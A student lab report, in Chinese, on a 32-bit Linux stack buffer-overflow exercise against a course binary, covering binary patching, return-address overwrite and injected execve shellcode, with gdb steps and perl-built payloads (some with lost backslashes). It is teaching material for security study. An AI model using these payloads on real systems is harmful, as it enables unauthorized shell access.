一、实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
-
预设条件
1.关闭堆栈保护(gcc -fno-stack-protector) 2.关闭堆栈执行保护(execstack -s) 3.关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0) 4.在x32环境下 5.在Linux实践环境
二、基础知识
1. 管道 |
利用 Linux 所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。
2. Shell 输入/输出重定向
命令 | 说明 |
---|---|
command > file | 将输出重定向到 file |
command < file | 将输入重定向到 file |
command >> file | 将输出以追加的方式重定向到 file |
n > file | 将文件描述符为 n 的文件重定向到 file |
n >> file | 将文件描述符为 n 的文件以追加的方式重定向到 file |
n >& m | 将输出文件 m 和 n 合并 |
n <& m | 将输入文件 m 和 n 合并 |
<< tag | 将开始标记 tag 和结束标记 tag 之间的内容作为输入 |
3. NOP, JNE, JE, JMP, CMP汇编指令的机器码
汇编指令 | 功能 | 机器码 |
---|---|---|
NOP | 无作用 | 90 |
JNE | 若不相等则转移 | 75 |
JE | 若相等则转移 | 74 |
JMP | 无条件转移 | eb |
CMP | 比较 | 39 |
4. 反汇编与十六进制编程器
-
objdump 命令
Linux下的反汇编目标文件或者可执行文件的命令 。
-
objdump -d 参数
--disassemble
:从objfile中反汇编那些特定指令机器码的section。更多参数查看官方文档。
-
十六进制编程器 =
vi/vim
+xxd
利用
vi/vim
调用外部十六进制文件显示命令xxd
即可编辑二进制文件。- 查看模式下,
%!xxd
将当前文本转换为16进制格式显示; - 查看模式下,
%!xxd -r
将当前文件转换回文本格式显示。
注意:在使用
%!xxd -r
恢复格式之前,不能:w
保存文件,否则可执行文件无法执行。 - 查看模式下,
5. 能正确修改机器指令改变程序执行流程
- 实践内容A
6. 能正确构造payload进行bof攻击
- 实践内容B
三、实践内容
A. 直接修改程序机器指令,改变程序执行流程
-
下载、解压、复制原文件
-
objdump -d xxxxxxxxpwn1
反汇编-
call 8048491
对应机器指令e8 d7ffffff
,含义为eip = eip + 偏移量
。 -
正常流程:
当前 eip 值为
80484ba
,偏移量为d7ffffff
(补码,表示-41),新 eip 为80484ba + d7ffffff = 8048491
- 改变程序执行流程为
<getShell>
:
新 eip 为
80484ba + 偏移量 = 0804847d
,计算得偏移量c3ffffff
。 -
-
修改程序机器指令
-
cp xxxxxxxxpwn1 xxxxxxxxpwn2
-
vim xxxxxxxxpwn2
打开文件后为乱码
- 查看模式下,
%!xxd
将当前文本转换为16进制格式显示;
e8 d7
从头开始查找e8 d7
-
查看模式下,
%!xxd -r
将当前文件转换回文本格式显示。 -
:wq
保存退出。
-
-
再次反汇编查看修改结果
objdump -d xxxxxxxxpwn1
B. 通过构造输入参数,造成BOF攻击,改变程序执行流程
-
objdump -d xxxxxxxxpwn3
反汇编观察<foo>
函数- 得到
lea -0x1c(%ebp),%eax
指令,分析:
取
%ebp + 0x1c
地址,并将其传送到目的操作数单元%eax
。0x1c
为 28字节,%eax
为 4 字节,需溢出 4 字节。- 得:缓冲区:28 + 4 = 32 字节; 同时在堆栈上压上返回地址值
0x80484ba
。
- 得到
-
确认覆盖返回地址
-
gdb xxxxxxxxpwn3
进行调试;r
开始运行;输入
123456789a123456789a123456789a123456
,123456789a
表示 10 位,其中3456
为 33-36位。 -
超出缓冲区显示:
Program received signal SIGSEGV, Segmentation fault.
。 -
eip 0x36353433 0x36353433
为 ASCII 5 值。确认覆盖返回地址。
-
-
构造输入字符串
-
Shell 重定向输出为文件:
perl -e 'print "123456789a123456789a123456789a12x7dx84x04x08x0a"' > input
-
xxd input
:16进制查看指令查看input文件的内容是否如预期。 -
(cat input; cat) | ./xxxxxxxxpwn3
:将
cat input; cat
的输出,通过管道符“|”,作为 xxxxxxxxpwn3 的输入。
-
C. 注入Shellcode并执行
-
检查 execstack 安装情况
-
准备、初始设置
execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行 more /proc/sys/kernel/randomize_va_space echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space
-
anything+retaddr+nops+shellcode
构造成功攻击buf的结构(成功)-
由
gdb
来调试xxxxxxxxpwn4
这个进程。a.
ps -ef | grep pwn
查看进程号;
b. 另一终端使用gdb
,调用进程attach 4148
;
c. 反汇编<foo>
函数disassemble foo
;
d. 设置ret
断点break *0x080484ae
;
e. 另一终端按下回车
f. 再回到 gdb 终端输入c
继续运行;
g.info r esp
查看%esp
的值;
h.x/16x 0x........
显示 shellcode 前的起始地址:
-
得到:
0x01020304
对应内存地址0xffffd69c
。0xffffd69c
后 4 字节是 shellcode 的起始地址:0xffffd6a0
-
由此更改老师注入代码,前 4 个
x
数据。perl -e 'print "A" x 32;print "xa0xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
-
(cat input_shellcode;cat) | ./xxxxxxxxpwn4
注入:
-
四、应跳过的坑:nops+shellcode+retadd
构造攻击buf的结构
-
大部分操作步骤同上:
anything+retaddr+nops+shellcode
构造成功攻击buf的结构。 -
主要是
nops+shellcode+retadd
构造的,注入shellcode运行后失败:perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
五、总结
1. 实验收获与感想
这是第一次做“利用漏洞对一段程序进行攻击”的相关实验。在我看来没有什么问题的代码,却隐藏着危害非常大的漏洞。对于以后程序的编写,特别是对于C语言之类(标准 C 语言函数库提供了一些没有边界检查的字符串处理函数), 我会更加重视。
2. 什么是漏洞?漏洞有什么危害?
(1) 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
(2) 不同的平台、不同的设备、不同的方面上的漏洞会产生不同危害。
系统漏洞:被不法者利用,通过网络植入木马、病毒等方式来攻击或控制整个电脑,窃取电脑中的重要资料和信息,甚至破坏系统。
网站漏洞:数据库信息泄漏、网页篡改、数据库被恶意操作、服务器被远程控制、破坏硬盘数据、全系统瘫痪等等。